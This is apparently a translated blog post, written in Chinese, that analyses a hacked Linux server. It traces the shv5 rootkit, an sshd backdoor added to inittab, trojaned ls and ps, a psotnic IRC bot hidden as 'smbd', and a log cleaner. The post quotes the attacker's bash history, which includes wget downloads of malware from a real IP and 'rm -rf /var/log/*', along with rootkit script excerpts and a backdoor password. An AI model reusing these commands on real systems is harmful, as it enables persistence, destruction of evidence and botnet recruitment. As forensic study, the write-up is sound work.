{{ v.name }}
{{ v.cls }}类
{{ v.price }} ¥{{ v.price }}
最近有个朋友让我去帮他看一下他的linux服务器.说是apache启动不了,有很多诡异的情况.后来证明绝不是apache启动不了这么简单.
登上服务器之后随便看了下,最先引起我注意的是”ls”命令的输出:
lars@server1:~$lsls:invalidoption--htry`ls--help'formoreinformation.
为什么”ls”默认加了”-h”参数呢?我用”alias”命令看了一下,然后取消了这个别名之后”ls”就工作正常了.
lars@server1:~$aliaslsaliasls='ls-sh--color=auto'lars@server1:~$unaliaslslars@server1:~$lsbackuplars@server1:~$
虽然很奇怪,不过我的首要任务是先把apache启动起来,等过会再仔细研究这个问题.
lars@server1:~$sudo/etc/init.d/apache2startpassword:*startingapache2.0webserver...(2):apache2:couldnotopenerrorlogfile/var/log/apache2/error.log.unabletoopenlogs...fail!
纳尼?赶紧去”/var/log/”目录一看,果然”apache2/”文件夹不见了.而且这个目录下其他的文件夹,比如”mysql/”,”samba/”也都不见了.一定是哪里出错了.会不会是我朋友不小心删掉了呢,他跟我说绝对没有.然后我用root登录进去准备修复日志丢失的问题.
lars@server1:~$sudo-ipassword:root@server1:~#lsls:unrecognizedprefix:dols:unparsablevalueforls_colorsenvironmentvariabletotal444.4.bashrc4.ssh4..4.lesshst8.viminfo8.bash_history4.profile4.vimrc
很不幸的发现,”ls”又出问题了.同样,用”alias”命令:
root@server1:~#aliaslsaliasls='ls-sa--color=auto'root@server1:~#unaliaslsroot@server1:~#lsroot@server1:~#
这个时候,我才意识到问题的严重性.”ls”奇怪的举动和”/var/log/”大量日志被删除让我怀疑服务器是否被入侵了.当我看到root目录下的”.bash_history”时,就已经可以确定被入侵了.
root@server1:~#cat-n.bash_history...340w341cd/var342wgethttp://83.19.148.250/~matys/pliki/shv5.tar.gz343tar-zxfshv5.tar.gz344rm-rfshv5.tar.gz345mvshv5.x346cd.x347./setupzibi.joe.14954098348passwd349passwd350psaux351crontab-l352cat/etc/issue353cat/etc/passwd354w355who356cd/usr/lib/libsh357ls358hide+359chmod+xhide360hide+361./hide+362cd/var/.x363mkdirpsotnic364cdpsotnic365wgethttp://83.19.148.250/~matys/pliki/psotnic0.2.5.tar.gz366tar-zxfpsotnic0.2.5.tar.gz367rm-rfpsotnic0.2.5.tar.gz368ls369mvpsotnic-0.2.5-linux-static-ipv6synscan370./synscan371viconf372viconf1373mvsynscansmbd374smbd-cconf375ls376psaux377ls378./smbd-cconf379./smbd-cconf1380./smbdconf381./smbdconf1382./smbd-aconfconf1383rm-rfconf.dec384rm-rfconf1.dec385cd/usr/lib/libsh386./hide+387exit...425sshftp@62.101.251.166426w427ls428ls429cd/var/.x430ls431cdpsotnic/432ls433rm-rf/var/log/*434exit435ls436cd/var/.x/psotnic/437ls438viconf2439./smbd-cconf2440./smbdconf2441./smbd-aconfconf1conf2442rm-rfconf2.dec443cd..444ls445cd/usr/lib/libsh446hide+447./hide+448exit449psaux450cd/var/.x451ls452ls453cdpsotnic/454ls455catpid.mastah456kill-92030457./synscan-aconfconf1458./smbd-aconfconf1459cd/usr/lib/libsh460./hide+
woht!这个系统已经被入侵了.这实在是令人激动的一件事情,不过很显然,我的朋友不这么想.这个入侵者犯了一个很基本的错误,没有清除”.bash_history”文件.所以他/她可能在其他的地方也留下了一些蛛丝马迹.接下来就是详细的分析一下这次入侵.
通过bashhistory我们得到了大量的信息.先来看一下”/var/.x”下面隐藏了什么和命令”setupzibi.joe.14954098′的作用吧.
root@server1:/var/.x#filesetupsetup:bourne-againshellscripttextexecutableroot@server1:/var/.x#wc-lsetup825setuproot@server1:/var/.x#head-17setup#!/bin/bash##shv5-internal-release#by:pint[x]april/2003##greetzto:##[*]sh-members:beso_m,grass^,toolman,nobody,niceboy,armando99#c00l|0,goldenlord,spike,zion...#[*]alba-hack:2cool,heka,themind,ex-thgmembers...#[*]sh-friends:mave,alextg,cat|x,klex,jinks...#[*]tc-members:eksol,termid,hex,keyhook,maher,tripodetc..#[*]andallotherswhodiservetobeherebutiforgot#[*]thematthemoment!##private!donotdistribute*censored*ez!
“setup”这个脚本是rootkitshv5的安装脚本.它安装了一个修改过的ssh后门–”/bin/ttyload”,然后把它加到了”/etc/inittab”,这样每次重启后就会自动启动.(相关部分的脚本如下:)
mv$sshdir/sshd/sbin/ttyloadchmoda+xr/sbin/ttyloadchmodo-w/sbin/ttyloadtouch-acmr/bin/ls/sbin/ttyloadchattr+isa/sbin/ttyloadkill-9`pidofttyload`>/dev/null2>&1....#inittabshufflingchattr-isa/etc/inittabcat/etc/inittab|grep-vttyload|grep-vgetty>/tmp/.init1cat/etc/inittab|grepgetty>/tmp/.init2echo"#loadingstandardttys">>/tmp/.init1echo"0:2345:once:/usr/sbin/ttyload">>/tmp/.init1
它也替换了一些linux的标准命令.
#backdoorps/top/du/ls/netstat/etc..cd$basedir/binbackup=/usr/lib/libsh/.backupmkdir$backup...#ls...chattr-isa/bin/lscp/bin/ls$backupmv-fls/bin/lschattr+isa/bin/ls
这样子就可以解释为什么”ls”命令输出那么奇怪了.
“.backup”文件夹保存了被替换之前的命令程序.
root@server1:/var/.x#ls-l/usr/lib/libsh/.backup/total552-rwxr-xr-x1rootroot126276dec2422:58find-rwxr-xr-x1rootroot59012dec2422:58ifconfig-rwxr-xr-x1rootroot77832dec2422:58ls-rwxr-xr-x1rootroot30388dec2422:58md5sum-rwxr-xr-x1rootroot99456dec2422:58netstat-rwxr-xr-x1rootroot65492dec2422:58ps-rwxr-xr-x1rootroot14016dec2422:58pstree-rwxr-xr-x1rootroot50180dec2422:58top
看了一下时间戳,居然是在圣诞节.
很显然,原始的”ls”和后门安装的”ls”是不一样的.他们的md5对比如下:
root@server1:~#md5sum/usr/lib/libsh/.backup/ls/bin/lseef7ca9dd6be1cc53bac84012f8d1675/usr/lib/libsh/.backup/ls0a07cf554c1a74ad974416f60916b78d/bin/lsroot@server1:~#file/bin/ls/bin/ls:elf32-bitlsbexecutable,intel80386,version1(sysv),forgnu/linux2.0.0,dynamicallylinked(usessharedlibs),forgnu/linux2.0.0,strippedroot@server1:~#file/usr/lib/libsh/.backup/ls/usr/lib/libsh/.backup/ls:elf32-bitlsbexecutable,intel80386,version1(sysv),forgnu/linux2.6.0,dynamicallylinked(usessharedlibs),forgnu/linux2.6.0,stripped
这个rootkit(“sh5.tar.gz”)是从下面的地址下载的.
root@server1:~#dig+short-x83.19.148.2504lo.bydg.pl.
这是一个波兰的ip,从这个ip上没有得到更多的信息.不过这个入侵者依然犯了几个严重的错误.
这是运行”setup”命令的截图:(在服务器上的沙盒里运行的)
所以”zibi.joe.149′是后门的密码,”54098′是端口号.这是一个来自ssh.com的就版本的sshd.测试:
安装完后门之后,下一个步骤就是装一个irc-bot,让服务器变成僵尸网络中的一员.”psotnic0.2.5.tar.gz”就是来达到这个目的的.入侵者解压这个包之后把irc-bot重命名为”smbd”,来达到隐藏的目的.
然后,他创建了两个配置文件.文件中包含irc服务器和需要加入的频道.配置文件是加密过的,而且明文的配置文件被删掉了.
371viconf372viconf1....378./smbd-cconf379./smbd-cconf1380./smbdconf381./smbdconf1382./smbd-aconfconf1
让我们执行一下382这条命令,看看会发生什么.
root@server1:/var/.x/psotnic#./smbd-aconfconf1psotnicc++edition,version0.2.5-ipv6(jul17200520:39:49)copyright(c)2003-2005grzegorzrusin[+]adding:*/10****cd/var/.x/psotnic;./smbdconf>/dev/null2>&1[+]adding:*/10****cd/var/.x/psotnic;./smbdconf1>/dev/null2>&1[+]added2psotnicstocron
哇!它添加了cron定时任务.赶紧看一看:
root@server1:/var/.x/psotnic#crontab-l*/10****cd/var/.x/psotnic;./smbdconf>/dev/null2>&1*/10****cd/var/.x/psotnic;./smbdconf1>/dev/null2>&1
接下来,我杀掉这两个恶意的smbd进程,禁用cron任务.在另一个shell中运行了tcpdump,然后手动启动了这两个irc-bot进程:
root@server1:~#cd/var/.x/psotnic;./smbdconfpsotnicc++edition,version0.2.5-ipv6(jul17200520:39:49)copyright(c)2003-2005grzegorzrusin[*]actingasleaf[+]configloaded[+]goingintobackground[pid:5724]root@server1:/var/.x/psotnic#./smbdconf1psotnicc++edition,version0.2.5-ipv6(jul17200520:39:49)copyright(c)2003-2005grzegorzrusin[*]actingasleaf[+]configloaded[+]goingintobackground[pid:5727]root@server1:/var/.x/psotnic#
用”ps”命令(后门替换过的)可以看到这两个进程.这也是为什么入侵者需要通过改名字来隐藏进程.
root@server1:/var/.x/psotnic#psaxuw|grepsmbroot37990.00.485922156?s11:000:00/usr/sbin/smbd-droot38080.00.18592896?s11:000:00/usr/sbin/smbd-droot57240.00.11648772pts/2s12:470:00./smbdconfroot57270.00.11640764pts/2s12:470:00./smbdconf1
最开始两个是真正的samba进程,后面两个是irc-bot,让我们用”strace”命令来看看它做了什么:
root@server1:~#strace-p5727...connect(3,{sa_family=af_inet,sin_port=htons(9714),sin_addr=inet_addr("83.18.74.235")},16)=-1einprogress(operationnowinprogress)...connect(4,{sa_family=af_inet,sin_port=htons(6667),sin_addr=inet_addr("195.159.0.92")},16)=-1einprogress(operationnowinprogress)
可以看到它尝试连接ip83.18.74.235的9714端口和195.159.0.92的6667端口:
root@server1:~#dig+short-x83.18.74.235manhattan.na.pl.root@server1:~#dig+short-x195.159.0.92ircnet.irc.powertech.no.
又是一个波兰的ip.另外一个ip,”ircnet.irc.powertech.no”是”irc.powertech.nof”的别名.是挪威一个著名的irc服务器.
tcpdump抓到了连接irc服务器的流量.正如下面的内容显示,它连接到了”irc.powertech.no”,加入了”#aik”频道.
:irc.powertech.no001578pab9nb:welcometotheinternetrelaynetwork578pab9nb!~op@ti231210a080-3666.bb.online.no:irc.powertech.no002578pab9nb:yourhostisirc.powertech.no,runningversion2.11.1p1:578pab9nb!~op@ti231210a080-3666.bb.online.nojoin:#aik:irc.powertech.no353578pab9nb@#aik:578pab9nbkkndraiderbrandyzjpiconfxerkozipalvvo:irc.powertech.no366578pab9nb#aik:endofnameslist.:irc.powertech.no352578pab9nb#aik~opti231210a080-3666.bb.online.noirc.powertech.no578pab9nbg:0op-gtw:irc.powertech.no352578pab9nb#aik~kkndti231210a080-3666.bb.online.noirc.hitos.nokkndh:2kknd-gtw:irc.powertech.no352578pab9nb#aik~raidermobitech-70.max-bc.spb.ru*.dotsrc.orgraiderg:4raider-gtw:irc.powertech.no352578pab9nb#aik~brandyzmobitech-70.max-bc.spb.ru*.dotsrc.orgbrandyzg:4brandyz-gtw:irc.powertech.no352578pab9nb#aik~jpip3124-ipad309sasajima.aichi.ocn.ne.jp*.jpjpig:8jpi-gtw:irc.powertech.no352578pab9nb#aik~confp3124-ipad309sasajima.aichi.ocn.ne.jp*.jpconfg:7conf-gtw:irc.powertech.no352578pab9nb#aik~xerkozp3124-ipad309sasajima.aichi.ocn.ne.jp*.jpxerkozh:7xerkoz-gtw:irc.powertech.no352578pab9nb#aiklmcampus19.panorama.sth.ac.at*.atipalh:5.lapi.9@.ircnet..:irc.powertech.no352578pab9nb#aik~vvoppp86-7.intelcom.sm*.tiscali.itvvoh:6vvo-gtw:irc.powertech.no315578pab9nb#aik:endofwholist.这些仅仅是加入#aik频道,并开始监听该频道所有成员的一些原始网络流量.我决定自己进入这个频道看看.令我惊讶的是不需要任何密码我就进来了.17:43-!-viper42[~viper42@trinity.gnist.org]hasjoined#aik17:43[users#aik]17:43[578pab9nl][conf][jpi][raider][vvo]17:43[brandyz][ipal][kknd][viper42][xerkoz]17:43-!-irssi:#aik:totalof10nicks[0ops,0halfops,0voices,10normal]17:43-!-irssi:jointo#aikwassyncedin1secs
我发现我朋友的服务器使用的昵称是”578pqb9nb”,还有一些其他的服务器也在这里.这些僵尸服务器应该是正在等待着我们的入侵者加入频道发布命令.或者他已经潜藏在这里了.我注意到,所有的昵称都有一个后缀”*-gtw”,只有一个没有:
17:45[powertech]-!-ipal[lm@campus19.panorama.sth.ac.at]17:45[powertech]-!-ircname:lapi@ircnet17:45[powertech]-!-channels:#relaks#ping@#seks#aik@#ogame.pl#pingwinaria#hattrick#trade#admin@#!sh17:45[powertech]-!-server:*.at[oo//o/]
这是唯一一个加入了多个频道的昵称.我猜我已经找到这个入侵者了,除非这是一个故意迷惑的诱饵.(恩,这个入侵者真的真么笨!!这么容易就找到了!?).我决定等几天看看有木有什么有趣的事情发生.这个域名解析到了:
$dig+shortcampus19.panorama.sth.ac.at193.170.51.84
根据ripe的数据,这个ip属于viennauniversity计算机中心,我发了一封邮件询问关于这个域名的信息,他们几个小时后会我了:
from:alexandertalosviartto:larstra@ifi.uio.nosubject:crackeratcampus19.panorama.sth.ac.at(193.170.51.84)[aconetcert#38603]date:fri,18may200718:22:43+0200(cest)reply-to:cert@aco.net-----beginpgpsignedmessage-----hash:sha1hej!onfrimay1814:45:032007,larstra@ifi.uio.nowrote:>ihavebeentrackingdowncrackerwhichconnectedfrom>campus19.panorama.sth.ac.at(193.170.51.84).theuser,whichouch.panorama.sth.ac.atisadormitorywithabout4kroomsallbehindanatgateway-itwillbeveryhardtogetholdofthemiscreant.thisincidentwill,inthelongrun,definitelyhelpmegettingridofthenatboxesinsetupslikethat,butrightnow,wewillhavetomakedowithwhatwehave.>pleaseinvestigatethehostinquestion.perhapsisthisa>compromisedhostonyournetworkactingasajumpstationforsure,andeveninanatedenvironment,thisisstillpossible.btw,youdidagreatjobinanalysingthecompromisedmachine!i'llletyouknowwhenihaveeitherfurtherquestionsoranyinterestingresults.cheers,alexandertalos---it-security,universitaetwien,aconetcertt:+43-1-4277-14351m:+43-664-60277-14351
看起来我不够幸运.
接下来我曾尝试连接irc频道里其他僵尸主机的54098端口,可惜都失败了.看来其他的僵尸主机的后门可能使用的是别的端口.
连接到”83.18.74.235′的流量看起来很混乱.只好再次用strace命令:
root@server1:/var/.x/psotnic#strace-f./smbdconf1&>/root/dump.strace
跟预期的一样,有很多输出,其中一个是它尝试启动”bitchx”,这是一个irc客户端.但是失败了,因为bitchx没有安装:
[pid7537]write(2,"sh:",4)=4[pid7537]write(2,"bitchx:notfound",17)=17[pid7537]write(2,"n",1)=1[pid7537]close(2)=
这仅仅是两个假的smbd进程中的一个.另外一个也连到了两个irc服务器,一个是波兰这个,另外一个是”irc.hitos.no”,位于挪威的特罗姆斯郡.
入侵者除了这些,还运行了一个叫”hide”的脚本来清除日志:
root@server1:/usr/lib/libsh#./hide+linuxhiderv2.0bymaveenhancedbyme![+][shkupilogcleaner]removing+fromthelogs.........[+]/var/log/messages...[done][+]/var/run/utmp...[done][+]/var/log/lastlog...[done][+]/var/log/wtmp...[done]*missionaccomplished*p.h.e.e.rs.h.c.r.e.w
那么这个入侵者为什么还要把”/var/log/”目录全删除了呢,是不相信这个工具么?还是他特别害怕?
可以看到这个服务器被入侵了,安装了后门而且加入了僵尸网咯.但是入侵者犯了几个错误导致他可能被侦查到:
1,忘记清除”.bash_history”文件
2,“/var/log”目录下所有文件都删除了.导致某些程序无法启动.很容易被发现.
3,修改了root的密码.又是一个愚蠢的行为.永远不要修改root密码,这个必然会引起管理员的注意.
4,irc的频道没有密码保护.虽然即使有密码,我们也可以抓包分析出来.
5,入侵者平时就在僵尸网络的频道闲逛?如果是这样的话那他已经暴露了.
当然还有几个遗留的问题:
1,”sshftp@62.101.251.166′这个命令是干嘛的.是入侵者不小心敲错了么还是有其他的目的?
$dig+short-x62.101.251.166ca6fb653e.dhcp.bluecom.no.
2,跟83.18.74.235(manhattan.na.pl)的通讯内容是什么?
3,最重要的问题是他一开始是如何或得下系统的权限的?这个服务器运行的是ubuntu6.06lts,打了最新的补丁.可能入侵的途径:
*猜测root密码,不幸的是这个密码是强密码*
*未知的exploit*
*某个用户在已经被攻陷的主机上登录这台服务器.入侵者嗅探到了密码.*